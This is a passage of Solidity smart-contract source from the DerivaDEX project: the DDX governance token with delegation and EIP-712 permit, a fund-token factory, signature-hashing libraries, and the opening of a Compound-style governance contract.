Nonce uint256 expiry; // Expiry } // Hash for the EIP712 LibPermit Schema // bytes32 constant internal EIP712_PERMIT_SCHEMA_HASH = keccak256(abi.encodePacked( // "Permit(", // "address spender,", // "uint256 value,", // "uint256 nonce,", // "uint256 expiry", // ")" // )); bytes32 internal constant EIP712_PERMIT_SCHEMA_HASH = 0x58e19c95adc541dea238d3211d11e11e7def7d0c7fda4e10e0c45eb224ef2fb7; /// @dev Calculates Keccak-256 hash of the permit. /// @param permit The permit structure. /// @return permitHash Keccak-256 EIP712 hash of the permit. function getPermitHash(Permit memory permit, bytes32 eip712ExchangeDomainHash) internal pure returns (bytes32 permitHash) { permitHash = LibEIP712.hashEIP712Message(eip712ExchangeDomainHash, hashPermit(permit)); return permitHash; } /// @dev Calculates EIP712 hash of the permit. /// @param permit The permit structure. /// @return result EIP712 hash of the permit. function hashPermit(Permit memory permit) internal pure returns (bytes32 result) { // Assembly for more efficiently computing: bytes32 schemaHash = EIP712_PERMIT_SCHEMA_HASH; assembly { // Assert permit offset (this is an internal error that should never be triggered) if lt(permit, 32) { invalid() } // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(permit, 32) // Backup let temp1 := mload(pos1) // Hash in place mstore(pos1, schemaHash) result := keccak256(pos1, 160) // Restore mstore(pos1, temp1) } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IInsuranceFund { function claimDDXFromInsuranceMining(address _claimant) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { LibBytes } from "../libs/LibBytes.sol"; import { LibEIP712 } from "../libs/LibEIP712.sol"; import { LibPermit } from "../libs/LibPermit.sol"; import { SafeMath96 } from "../libs/SafeMath96.sol"; import { DIFundToken } from "./DIFundToken.sol"; /** * @title DIFundTokenFactory * @author DerivaDEX (Borrowed/inspired from Compound) * @notice This is the native token contract for DerivaDEX. It * implements the ERC-20 standard, with additional * functionality to efficiently handle the governance aspect of * the DerivaDEX ecosystem. * @dev The contract makes use of some nonstandard types not seen in * the ERC-20 standard. The DDX token makes frequent use of the * uint96 data type, as opposed to the more standard uint256 type. * Given the maintenance of arrays of balances, allowances, and * voting checkpoints, this allows us to more efficiently pack * data together, thereby resulting in cheaper transactions. */ contract DIFundTokenFactory { DIFundToken[] public diFundTokens; address public issuer; /** * @notice Construct a new DDX token */ constructor(address _issuer) public { // Set issuer to deploying address issuer = _issuer; } function createNewDIFundToken( string calldata _name, string calldata _symbol, uint8 _decimals ) external returns (address) { require(msg.sender == issuer, "DIFTF: unauthorized."); DIFundToken diFundToken = new DIFundToken(_name, _symbol, _decimals, issuer); diFundTokens.push(diFundToken); return address(diFundToken); } function getDIFundTokens() external view returns (DIFundToken[] memory) { return diFundTokens; } function getDIFundTokensLength() external view returns (uint256) { return diFundTokens.length; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { LibBytes } from "../libs/LibBytes.sol"; import { LibEIP712 } from "../libs/LibEIP712.sol"; import { LibDelegation } from "../libs/LibDelegation.sol"; import { LibPermit } from "../libs/LibPermit.sol"; import { SafeMath96 } from "../libs/SafeMath96.sol"; /** * @title DDX * @author DerivaDEX (Borrowed/inspired from Compound) * @notice This is the native token contract for DerivaDEX. It * implements the ERC-20 standard, with additional * functionality to efficiently handle the governance aspect of * the DerivaDEX ecosystem. * @dev The contract makes use of some nonstandard types not seen in * the ERC-20 standard. The DDX token makes frequent use of the * uint96 data type, as opposed to the more standard uint256 type. * Given the maintenance of arrays of balances, allowances, and * voting checkpoints, this allows us to more efficiently pack * data together, thereby resulting in cheaper transactions. */ contract DDX { using SafeMath96 for uint96; using SafeMath for uint256; using LibBytes for bytes; /// @notice ERC20 token name for this token string public constant name = "DerivaDAO"; // solhint-disable-line const-name-snakecase /// @notice ERC20 token symbol for this token string public constant symbol = "DDX"; // solhint-disable-line const-name-snakecase /// @notice ERC20 token decimals for this token uint8 public constant decimals = 18; // solhint-disable-line const-name-snakecase /// @notice Version number for this token. Used for EIP712 hashing. string public constant version = "1"; // solhint-disable-line const-name-snakecase /// @notice Max number of tokens to be issued (100 million DDX) uint96 public constant MAX_SUPPLY = 100000000e18; /// @notice Total number of tokens in circulation (50 million DDX) uint96 public constant PRE_MINE_SUPPLY = 50000000e18; /// @notice Issued supply of tokens uint96 public issuedSupply; /// @notice Current total/circulating supply of tokens uint96 public totalSupply; /// @notice Whether ownership has been transferred to the DAO bool public ownershipTransferred; /// @notice Address authorized to issue/mint DDX tokens address public issuer; mapping(address => mapping(address => uint96)) internal allowances; mapping(address => uint96) internal balances; /// @notice A record of each accounts delegate mapping(address => address) public delegates; /// @notice A checkpoint for marking vote count from given block struct Checkpoint { uint32 id; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint256 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint256) public numCheckpoints; /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice Emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice Emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint96 previousBalance, uint96 newBalance); /// @notice Emitted when transfer takes place event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice Emitted when approval takes place event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new DDX token */ constructor() public { // Set issuer to deploying address issuer = msg.sender; // Issue pre-mine token supply to deploying address and // set the issued and circulating supplies to pre-mine amount _transferTokensMint(msg.sender, PRE_MINE_SUPPLY); } /** * @notice Transfer ownership of DDX token from the deploying * address to the DerivaDEX Proxy/DAO * @param _derivaDEXProxy DerivaDEX Proxy address */ function transferOwnershipToDerivaDEXProxy(address _derivaDEXProxy) external { // Ensure deploying address is calling this, destination is not // the zero address, and that ownership has never been // transferred thus far require(msg.sender == issuer, "DDX: unauthorized transfer of ownership."); require(_derivaDEXProxy != address(0), "DDX: transferring to zero address."); require(!ownershipTransferred, "DDX: ownership already transferred."); // Set ownership transferred boolean flag and the new authorized // issuer ownershipTransferred = true; issuer = _derivaDEXProxy; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param _spender The address of the account which may transfer tokens * @param _amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address _spender, uint256 _amount) external returns (bool) { require(_spender != address(0), "DDX: approve to the zero address."); // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DDX: amount exceeds 96 bits."); } // Set allowance allowances[msg.sender][_spender] = amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * Emits an {Approval} event indicating the updated allowance. * Requirements: * - `spender` cannot be the zero address. */ function increaseAllowance(address _spender, uint256 _addedValue) external returns (bool) { require(_spender != address(0), "DDX: approve to the zero address."); // Convert amount to uint96 uint96 amount; if (_addedValue == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_addedValue, "DDX: amount exceeds 96 bits."); } // Increase allowance allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add96(amount); emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * Emits an {Approval} event indicating the updated allowance. * Requirements: * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address _spender, uint256 _subtractedValue) external returns (bool) { require(_spender != address(0), "DDX: approve to the zero address."); // Convert amount to uint96 uint96 amount; if (_subtractedValue == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_subtractedValue, "DDX: amount exceeds 96 bits."); } // Decrease allowance allowances[msg.sender][_spender] = allowances[msg.sender][_spender].sub96( amount, "DDX: decreased allowance below zero." ); emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } /** * @notice Get the number of tokens held by the `account` * @param _account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address _account) external view returns (uint256) { return balances[_account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param _recipient The address of the destination account * @param _amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address _recipient, uint256 _amount) external returns (bool) { // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DDX: amount exceeds 96 bits."); } // Transfer tokens from sender to recipient _transferTokens(msg.sender, _recipient, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param _from The address of the source account * @param _recipient The address of the destination account * @param _amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address _from, address _recipient, uint256 _amount ) external returns (bool) { uint96 spenderAllowance = allowances[_from][msg.sender]; // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DDX: amount exceeds 96 bits."); } if (msg.sender != _from && spenderAllowance != uint96(-1)) { // Tx sender is not the same as transfer sender and doesn't // have unlimited allowance. // Reduce allowance by amount being transferred uint96 newAllowance = spenderAllowance.sub96(amount); allowances[_from][msg.sender] = newAllowance; emit Approval(_from, msg.sender, newAllowance); } // Transfer tokens from sender to recipient _transferTokens(_from, _recipient, amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function mint(address _recipient, uint256 _amount) external { require(msg.sender == issuer, "DDX: unauthorized mint."); // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DDX: amount exceeds 96 bits."); } // Ensure the mint doesn't cause the issued supply to exceed // the total supply that could ever be issued require(issuedSupply.add96(amount) <= MAX_SUPPLY, "DDX: cap exceeded."); // Mint tokens to recipient _transferTokensMint(_recipient, amount); } /** * @dev Creates `amount` tokens and assigns them to `account`, decreasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function burn(uint256 _amount) external { // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DDX: amount exceeds 96 bits."); } // Burn tokens from sender _transferTokensBurn(msg.sender, amount); } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function burnFrom(address _account, uint256 _amount) external { uint96 spenderAllowance = allowances[_account][msg.sender]; // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DDX: amount exceeds 96 bits."); } if (msg.sender != _account && spenderAllowance != uint96(-1)) { // Tx sender is not the same as burn account and doesn't // have unlimited allowance. // Reduce allowance by amount being transferred uint96 newAllowance = spenderAllowance.sub96(amount, "DDX: burn amount exceeds allowance."); allowances[_account][msg.sender] = newAllowance; emit Approval(_account, msg.sender, newAllowance); } // Burn tokens from account _transferTokensBurn(_account, amount); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param _delegatee The address to delegate votes to */ function delegate(address _delegatee) external { _delegate(msg.sender, _delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param _delegatee The address to delegate votes to * @param _nonce The contract state required to match the signature * @param _expiry The time at which to expire the signature * @param _signature Signature */ function delegateBySig( address _delegatee, uint256 _nonce, uint256 _expiry, bytes memory _signature ) external { // Perform EIP712 hashing logic bytes32 eip712OrderParamsDomainHash = LibEIP712.hashEIP712Domain(name, version, getChainId(), address(this)); bytes32 delegationHash = LibDelegation.getDelegationHash( LibDelegation.Delegation({ delegatee: _delegatee, nonce: _nonce, expiry: _expiry }), eip712OrderParamsDomainHash ); // Perform sig recovery uint8 v = uint8(_signature[0]); bytes32 r = _signature.readBytes32(1); bytes32 s = _signature.readBytes32(33); address recovered = ecrecover(delegationHash, v, r, s); require(recovered != address(0), "DDX: invalid signature."); require(_nonce == nonces[recovered]++, "DDX: invalid nonce."); require(block.timestamp <= _expiry, "DDX: signature expired."); // Delegate votes from recovered address to delegatee _delegate(recovered, _delegatee); } /** * @notice Permits allowance from signatory to `spender` * @param _spender The spender being approved * @param _value The value being approved * @param _nonce The contract state required to match the signature * @param _expiry The time at which to expire the signature * @param _signature Signature */ function permit( address _spender, uint256 _value, uint256 _nonce, uint256 _expiry, bytes memory _signature ) external { // Perform EIP712 hashing logic bytes32 eip712OrderParamsDomainHash = LibEIP712.hashEIP712Domain(name, version, getChainId(), address(this)); bytes32 permitHash = LibPermit.getPermitHash( LibPermit.Permit({ spender: _spender, value: _value, nonce: _nonce, expiry: _expiry }), eip712OrderParamsDomainHash ); // Perform sig recovery uint8 v = uint8(_signature[0]); bytes32 r = _signature.readBytes32(1); bytes32 s = _signature.readBytes32(33); // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } address recovered = ecrecover(permitHash, v, r, s); require(recovered != address(0), "DDX: invalid signature."); require(_nonce == nonces[recovered]++, "DDX: invalid nonce."); require(block.timestamp <= _expiry, "DDX: signature expired."); // Convert amount to uint96 uint96 amount; if (_value == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_value, "DDX: amount exceeds 96 bits."); } // Set allowance allowances[recovered][_spender] = amount; emit Approval(recovered, _spender, _value); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param _account The address of the account holding the funds * @param _spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address _account, address _spender) external view returns (uint256) { return allowances[_account][_spender]; } /** * @notice Gets the current votes balance. * @param _account The address to get votes balance. * @return The number of current votes. */ function getCurrentVotes(address _account) external view returns (uint96) { uint256 numCheckpointsAccount = numCheckpoints[_account]; return numCheckpointsAccount > 0 ? checkpoints[_account][numCheckpointsAccount - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param _account The address of the account to check * @param _blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address _account, uint256 _blockNumber) external view returns (uint96) { require(_blockNumber < block.number, "DDX: block not yet determined."); uint256 numCheckpointsAccount = numCheckpoints[_account]; if (numCheckpointsAccount == 0) { return 0; } // First check most recent balance if (checkpoints[_account][numCheckpointsAccount - 1].id <= _blockNumber) { return checkpoints[_account][numCheckpointsAccount - 1].votes; } // Next check implicit zero balance if (checkpoints[_account][0].id > _blockNumber) { return 0; } // Perform binary search to find the most recent token holdings // leading to a measure of voting power uint256 lower = 0; uint256 upper = numCheckpointsAccount - 1; while (upper > lower) { // ceil, avoiding overflow uint256 center = upper - (upper - lower) / 2; Checkpoint memory cp = checkpoints[_account][center]; if (cp.id == _blockNumber) { return cp.votes; } else if (cp.id < _blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[_account][lower].votes; } function _delegate(address _delegator, address _delegatee) internal { // Get the current address delegator has delegated address currentDelegate = _getDelegatee(_delegator); // Get delegator's DDX balance uint96 delegatorBalance = balances[_delegator]; // Set delegator's new delegatee address delegates[_delegator] = _delegatee; emit DelegateChanged(_delegator, currentDelegate, _delegatee); // Move votes from currently-delegated address to // new address _moveDelegates(currentDelegate, _delegatee, delegatorBalance); } function _transferTokens( address _spender, address _recipient, uint96 _amount ) internal { require(_spender != address(0), "DDX: cannot transfer from the zero address."); require(_recipient != address(0), "DDX: cannot transfer to the zero address."); // Reduce spender's balance and increase recipient balance balances[_spender] = balances[_spender].sub96(_amount); balances[_recipient] = balances[_recipient].add96(_amount); emit Transfer(_spender, _recipient, _amount); // Move votes from currently-delegated address to // recipient's delegated address _moveDelegates(_getDelegatee(_spender), _getDelegatee(_recipient), _amount); } function _transferTokensMint(address _recipient, uint96 _amount) internal { require(_recipient != address(0), "DDX: cannot transfer to the zero address."); // Add to recipient's balance balances[_recipient] = balances[_recipient].add96(_amount); // Increase the issued supply and circulating supply issuedSupply = issuedSupply.add96(_amount); totalSupply = totalSupply.add96(_amount); emit Transfer(address(0), _recipient, _amount); // Add delegates to recipient's delegated address _moveDelegates(address(0), _getDelegatee(_recipient), _amount); } function _transferTokensBurn(address _spender, uint96 _amount) internal { require(_spender != address(0), "DDX: cannot transfer from the zero address."); // Reduce the spender/burner's balance balances[_spender] = balances[_spender].sub96(_amount, "DDX: not enough balance to burn."); // Reduce the total supply totalSupply = totalSupply.sub96(_amount); emit Transfer(_spender, address(0), _amount); // MRedduce delegates from spender's delegated address _moveDelegates(_getDelegatee(_spender), address(0), _amount); } function _moveDelegates( address _initDel, address _finDel, uint96 _amount ) internal { if (_initDel != _finDel && _amount > 0) { // Initial delegated address is different than final // delegated address and nonzero number of votes moved if (_initDel != address(0)) { uint256 initDelNum = numCheckpoints[_initDel]; // Retrieve and compute the old and new initial delegate // address' votes uint96 initDelOld = initDelNum > 0 ? checkpoints[_initDel][initDelNum - 1].votes : 0; uint96 initDelNew = initDelOld.sub96(_amount); _writeCheckpoint(_initDel, initDelOld, initDelNew); } if (_finDel != address(0)) { uint256 finDelNum = numCheckpoints[_finDel]; // Retrieve and compute the old and new final delegate // address' votes uint96 finDelOld = finDelNum > 0 ? checkpoints[_finDel][finDelNum - 1].votes : 0; uint96 finDelNew = finDelOld.add96(_amount); _writeCheckpoint(_finDel, finDelOld, finDelNew); } } } function _writeCheckpoint( address _delegatee, uint96 _oldVotes, uint96 _newVotes ) internal { uint32 blockNumber = safe32(block.number, "DDX: exceeds 32 bits."); uint256 delNum = numCheckpoints[_delegatee]; if (delNum > 0 && checkpoints[_delegatee][delNum - 1].id == blockNumber) { // If latest checkpoint is current block, edit in place checkpoints[_delegatee][delNum - 1].votes = _newVotes; } else { // Create a new id, vote pair checkpoints[_delegatee][delNum] = Checkpoint({ id: blockNumber, votes: _newVotes }); numCheckpoints[_delegatee] = delNum.add(1); } emit DelegateVotesChanged(_delegatee, _oldVotes, _newVotes); } function _getDelegatee(address _delegator) internal view returns (address) { if (delegates[_delegator] == address(0)) { return _delegator; } return delegates[_delegator]; } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.12; import { LibEIP712 } from "./LibEIP712.sol"; library LibDelegation { struct Delegation { address delegatee; // Delegatee uint256 nonce; // Nonce uint256 expiry; // Expiry } // Hash for the EIP712 OrderParams Schema // bytes32 constant internal EIP712_DELEGATION_SCHEMA_HASH = keccak256(abi.encodePacked( // "Delegation(", // "address delegatee,", // "uint256 nonce,", // "uint256 expiry", // ")" // )); bytes32 internal constant EIP712_DELEGATION_SCHEMA_HASH = 0xe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf; /// @dev Calculates Keccak-256 hash of the delegation. /// @param delegation The delegation structure. /// @return delegationHash Keccak-256 EIP712 hash of the delegation. function getDelegationHash(Delegation memory delegation, bytes32 eip712ExchangeDomainHash) internal pure returns (bytes32 delegationHash) { delegationHash = LibEIP712.hashEIP712Message(eip712ExchangeDomainHash, hashDelegation(delegation)); return delegationHash; } /// @dev Calculates EIP712 hash of the delegation. /// @param delegation The delegation structure. /// @return result EIP712 hash of the delegation. function hashDelegation(Delegation memory delegation) internal pure returns (bytes32 result) { // Assembly for more efficiently computing: bytes32 schemaHash = EIP712_DELEGATION_SCHEMA_HASH; assembly { // Assert delegation offset (this is an internal error that should never be triggered) if lt(delegation, 32) { invalid() } // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(delegation, 32) // Backup let temp1 := mload(pos1) // Hash in place mstore(pos1, schemaHash) result := keccak256(pos1, 128) // Restore mstore(pos1, temp1) } return result; } } // SPDX-License-Identifier: MIT /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.12; import { LibEIP712 } from "./LibEIP712.sol"; library LibVoteCast { struct VoteCast { uint128 proposalId; // Proposal ID bool support; // Support } // Hash for the EIP712 OrderParams Schema // bytes32 constant internal EIP712_VOTE_CAST_SCHEMA_HASH = keccak256(abi.encodePacked( // "VoteCast(", // "uint128 proposalId,", // "bool support", // ")" // )); bytes32 internal constant EIP712_VOTE_CAST_SCHEMA_HASH = 0x4abb8ae9facc09d5584ac64f616551bfc03c3ac63e5c431132305bd9bc8f8246; /// @dev Calculates Keccak-256 hash of the vote cast. /// @param voteCast The vote cast structure. /// @return voteCastHash Keccak-256 EIP712 hash of the vote cast. function getVoteCastHash(VoteCast memory voteCast, bytes32 eip712ExchangeDomainHash) internal pure returns (bytes32 voteCastHash) { voteCastHash = LibEIP712.hashEIP712Message(eip712ExchangeDomainHash, hashVoteCast(voteCast)); return voteCastHash; } /// @dev Calculates EIP712 hash of the vote cast. /// @param voteCast The vote cast structure. /// @return result EIP712 hash of the vote cast. function hashVoteCast(VoteCast memory voteCast) internal pure returns (bytes32 result) { // Assembly for more efficiently computing: bytes32 schemaHash = EIP712_VOTE_CAST_SCHEMA_HASH; assembly { // Assert vote cast offset (this is an internal error that should never be triggered) if lt(voteCast, 32) { invalid() } // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(voteCast, 32) // Backup let temp1 := mload(pos1) // Hash in place mstore(pos1, schemaHash) result := keccak256(pos1, 96) // Restore mstore(pos1, temp1) } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { GovernanceDefs } from "../../libs/defs/GovernanceDefs.sol"; import { LibEIP712 } from "../../libs/LibEIP712.sol"; import { LibVoteCast } from "../../libs/LibVoteCast.sol"; import { LibBytes } from "../../libs/LibBytes.sol"; import { SafeMath32 } from "../../libs/SafeMath32.sol"; import { SafeMath96 } from "../../libs/SafeMath96.sol"; import { SafeMath128 } from "../../libs/SafeMath128.sol"; import { MathHelpers } from "../../libs/MathHelpers.sol"; import { LibDiamondStorageDerivaDEX } from "../../storage/LibDiamondStorageDerivaDEX.sol"; import { LibDiamondStorageGovernance } from "../../storage/LibDiamondStorageGovernance.sol"; /** * @title Governance * @author DerivaDEX (Borrowed/inspired from Compound) * @notice This is a facet to the DerivaDEX proxy contract that handles * the logic pertaining to governance. The Diamond storage * will only be affected when facet functions are called via * the proxy contract, no checks are necessary. * @dev The Diamond storage will only be affected when facet functions * are called via the proxy contract, no checks are necessary. */ contract Governance { using SafeMath32 for uint32; using SafeMath96 for uint96; using SafeMath128 for uint128; using SafeMath for uint256; using MathHelpers for uint96; using MathHelpers for uint256; using LibBytes for bytes; /// @notice name for this Governance contract string public constant name = "DDX Governance"; // solhint-disable-line const-name-snakecase /// @notice version for this Governance contract string public constant version = "1"; // solhint-disable-line const-name-snakecase /// @notice Emitted when a new proposal is created event ProposalCreated( uint128 indexed id, address indexed proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /// @notice Emitted when a vote has been cast on a proposal event VoteCast(address indexed voter, uint128 indexed proposalId, bool support, uint96 votes); /// @notice Emitted when a proposal has been canceled event ProposalCanceled(uint128 indexed id); /// @notice Emitted when a proposal has been queued event ProposalQueued(uint128 indexed id, uint256 eta); /// @notice Emitted when a proposal has been executed event ProposalExecuted(uint128 indexed id); /// @notice Emitted when a proposal action has been canceled event CancelTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); /// @notice Emitted when a proposal action has been executed event ExecuteTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); /// @notice Emitted when a proposal action has been queued event QueueTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); /** * @notice Limits functions to only be called via governance. */ modifier onlyAdmin { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); require(msg.sender == dsDerivaDEX.admin, "Governance: must be called by Governance admin."); _; } /** * @notice This function initializes the state with some critical * information. This can only be called once and must be * done via governance. * @dev This function is best called as a parameter to the * diamond cut function. This is removed prior to the selectors * being added to the diamond, meaning it cannot be called * again. * @param _quorumVotes Minimum number of for votes required, even * if there's a majority in favor. * @param _proposalThreshold Minimum DDX token holdings required * to create a proposal * @param _proposalMaxOperations Max number of operations/actions a * proposal can have * @param _votingDelay Number of blocks after a proposal is made * that voting begins. * @param _votingPeriod Number of blocks voting will be held. * @param _skipRemainingVotingThreshold Number of for or against * votes that are necessary to skip the remainder of the * voting period. * @param _gracePeriod Period in which a successful proposal must be * executed, otherwise will be expired. * @param _timelockDelay Time (s) in which a successful proposal * must be in the queue before it can be executed. */ function initialize( uint32 _proposalMaxOperations, uint32 _votingDelay, uint32 _votingPeriod, uint32 _gracePeriod, uint32 _timelockDelay, uint32 _quorumVotes, uint32 _proposalThreshold, uint32 _skipRemainingVotingThreshold ) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); // Ensure state variable comparisons are valid requireValidSkipRemainingVotingThreshold(_skipRemainingVotingThreshold); requireSkipRemainingVotingThresholdGtQuorumVotes(_skipRemainingVotingThreshold, _quorumVotes); // Set initial variable values dsGovernance.proposalMaxOperations = _proposalMaxOperations; dsGovernance.votingDelay = _votingDelay; dsGovernance.votingPeriod = _votingPeriod; dsGovernance.gracePeriod = _gracePeriod; dsGovernance.timelockDelay = _timelockDelay; dsGovernance.quorumVotes = _quorumVotes; dsGovernance.proposalThreshold = _proposalThreshold; dsGovernance.skipRemainingVotingThreshold = _skipRemainingVotingThreshold; dsGovernance.fastPathFunctionSignatures["setIsPaused(bool)"] = true; } /** * @notice This function allows participants who have sufficient * DDX holdings to create new proposals up for vote. The * proposals contain the ordered lists of on-chain * executable calldata. * @param _targets Addresses of contracts involved. * @param _values Values to be passed along with the calls. * @param _signatures Function signatures. * @param _calldatas Calldata passed to the function. * @param _description Text description of proposal. */ function propose( address[] memory _targets, uint256[] memory _values, string[] memory _signatures, bytes[] memory _calldatas, string memory _description ) external returns (uint128) { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); // Ensure proposer has sufficient token holdings to propose require( dsDerivaDEX.ddxToken.getPriorVotes(msg.sender, block.number.sub(1)) >= getProposerThresholdCount(), "Governance: proposer votes below proposal threshold." ); require( _targets.length == _values.length && _targets.length == _signatures.length && _targets.length == _calldatas.length, "Governance: proposal function information parity mismatch." ); require(_targets.length != 0, "Governance: must provide actions."); require(_targets.length <= dsGovernance.proposalMaxOperations, "Governance: too many actions."); if (dsGovernance.latestProposalIds[msg.sender] != 0) { // Ensure proposer doesn't already have one active/pending GovernanceDefs.ProposalState proposersLatestProposalState = state(dsGovernance.latestProposalIds[msg.sender]); require( proposersLatestProposalState != GovernanceDefs.ProposalState.Active, "Governance: one live proposal per proposer, found an already active proposal." ); require( proposersLatestProposalState != GovernanceDefs.ProposalState.Pending, "Governance: one live proposal per proposer, found an already pending proposal." ); } // Proposal voting starts votingDelay after proposal is made uint256 startBlock = block.number.add(dsGovernance.votingDelay); // Increment count of proposals dsGovernance.proposalCount++; // Create new proposal struct and add to mapping GovernanceDefs.Proposal memory newProposal = GovernanceDefs.Proposal({ id: dsGovernance.proposalCount, proposer: msg.sender, delay: getTimelockDelayForSignatures(_signatures), eta: 0, targets: _targets, values: 